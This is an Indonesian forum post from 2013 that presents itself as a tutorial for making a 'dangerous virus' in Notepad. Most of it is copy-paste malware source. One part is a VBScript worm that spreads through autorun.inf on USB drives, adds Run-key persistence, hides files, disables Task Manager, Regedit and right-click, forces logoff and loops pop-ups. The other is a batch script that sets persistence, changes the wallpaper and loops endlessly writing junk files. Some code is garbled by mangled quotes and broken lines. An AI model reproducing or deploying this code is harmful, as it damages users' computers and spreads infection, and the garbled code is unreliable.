# (TUTOR)virus berbahaya NOTEPAD Sumber: https://nyit-nyit.net/threads/tutor-virus-berbahaya-notepad.137497/ Forum: Hardware & Rakit PC Dibuat: 2013-08-30 oleh indrayusuf28 Balasan: 0, dilihat: 1959 ## Post pertama ass,berjumpa lagi dengan saya aditia dermawan surbakti sekrang kita akan membahas tentang membuat VIRUS melalui NOTEPAD, soalny saya masi GALAU ni gara2 ada maasalah ni,mkny posting pun jm 4 pagi ok gan tanpa basa basi langsung aja ya..... langkah 1. buka notepad 2. silahkan di copas nih secrip PHP Code: Content ‘//-ishal-// ‘//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-// ‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus-// on error resume next ‘//-Dim kata-kata berikut ini-// dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd ‘//-Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information-// atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe terserah.exe.vbs” set fs = createobject(”Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do ‘//-Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)-// Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & “\terserah.exe.vbs”) tf.attributes = 32 set tf=fs.createtextfile(winpath & “\terserah.exe.vbs”,2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”) tf.attributes = 39 ‘//-Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok-// ‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-// for each flashdrive in fs.drives ‘//-Cek Drive-// If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then ‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\-// set tf=fs.getfile(flashdrive.path &”\bosgentongs.exe.vbs”) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &”\bosgentongs.exe.vbs”,2,true) tf.write mysource tf.close set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”) tf.attributes =39 ‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)-// set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) tf.write atr tf.close set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes=39 end if next ‘//-Manipulasi Registry-// set rg = createobject(”WScript.Shell”) ‘//-Manip – Ubah Title Internet Explorer menjadi terserah v.s. ANTIVIRUS-// rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Interne t Explorer\Main\Window Title”,” THE BOSGENTONGS v.s. ANTIVIRUS “ ‘//-Manip – Set agar file hidden tidak ditampilkan di Explorer-// rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\Advanced\Hidden”, “0”, “REG_DWORD” ‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager-// rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoFind”, “1”, “REG_DWORD” rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoFolderOptions”, “1”, “REG_DWORD” rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoRun”, “1”, “REG_DWORD” rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\System\DisableRegistryTools”, “1”, “REG_DWORD” rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\System\DisableTaskMgr”, “1”, “REG_DWORD” ‘//-Manip – Disable klik kanan-// rg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoViewContextMenu”, “1”, “REG_DWORD” ‘//-Manip – Munculkan Pesan Setiap Windows Startup-// rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.“ rg.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windo ws NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI“ ‘//-Manip – Aktif setiap Windows Startup-// rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\Systemdir”, winpath & “\batch- bosgentongs.exe.vbs “ ‘//-Manip – Ubah RegisteredOwner dan Organization-// rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s NT\CurrentVersion\RegisteredOrganization”, “terserah” rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s NT\CurrentVersion\RegisteredOwner”,”terserah” ‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll dan membuat ikon-// rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\svchost”,winpath&”\terserah.exe.vb s” rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\MS32DLL”,”" rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3” ‘//-Manip – Me-Log off komputer setelah log on BOLEH DIHAPUS KLO MAU LIHAT EFEKNYA!!!-// rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\Logoff”, winpath & “\System32\Logoff.exe” ‘//-Fungsi di untuk mengaktifkan kembali script dan mengulangnya kembali-// if check 1 then Wscript.sleep 100000 end if loop while check1 set sd = createobject(”Wscript.shell”) sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname do while year(now) >= 2009 WScript.sleep 20000 ‘//-Memunculkan pesan window terus menerus-// msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _ “kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf & _ “jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente sudah masuk dalam permainanku” & vbcrlf & _ “ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _ vbcrlf & vbcrlf & _ ” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _ ” saatnya kini aku bangkit dalam mimpi ituk“ ‘//-Mengulang kode script-// loop simpan dengan nama terserah.exe.vbs lalu bisa juga nih kalo yang mau make .bat secripnya bisa di copas ** PHP Code:** Content cd C:\ mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU? cd C:\Windows\ mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU? cd C:\Windows\System32\ mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU? cd D:\ mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU? @echo off copy bosgentongsvirus.bmp %systemdrive%\ /y copy bosgentongsvirus.bmp %systemdrive%\WINDOWS\ /y copy bosgentongsvirus.bmp %systemdrive%\WINDOWS\system32\ /y copy bosgentongsvirus.exe %systemdrive%\ /y copy bosgentongsvirus.exe %systemdrive%\WINDOWS\ /y copy bosgentongsvirus.exe %systemdrive%\WINDOWS\system32\ /y reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM BOSGENTONGS” /f reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s\Cur rentVersion\Run” /v bosgentongsvirus /d %systemdrive%\windows\system32\bosgentongsvirus.ex e /f reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\bosgentongsvirus.bm p /f reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f reg add “HKEY_CURRENT_USER\Control Panel\Colors” /v window /d #C10000 /f reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\bosgentongsvirus.bm p /f :bgvirus echo>>Albert.reg echo>>Anak.chm echo>>Ideal.dll echo>>Sekali.htt cls goto bgvirus echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$ echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$ echo ——————————————————- echo ============= BOSGENTONGS love HACKER ============== echo ============= THX TO KALLONG ============== echo ============= Tangerang, 1 oktober 2010 ============== echo ——————————————————- echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$ echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$ echo … echo AWAS JANGAN PENCET TOMBOL APAPUN! echo Atau memori anda akan penuh echo … echo Mendeteksi apabila tombol keyboard dipencet ……. Pause>null :bgvirus echo>>Albert.reg echo>>Anak.chm echo>>Ideal.dll echo>>Sekali.htt echo>>Yes.txt Mohon ini tutuor jangan di salah gunakan... ini virus yang sangat berbahaya sekali... keterangan : Yang Di miringin: ga Usah Ditulis Karena hanya Sebagai Petunjuk Saja Yang Di Tebelin: bisa diganti tulisannya Penulis tidak bertangung jawab apa bila terjadi kerusakan pada komputer kalian smua ^_^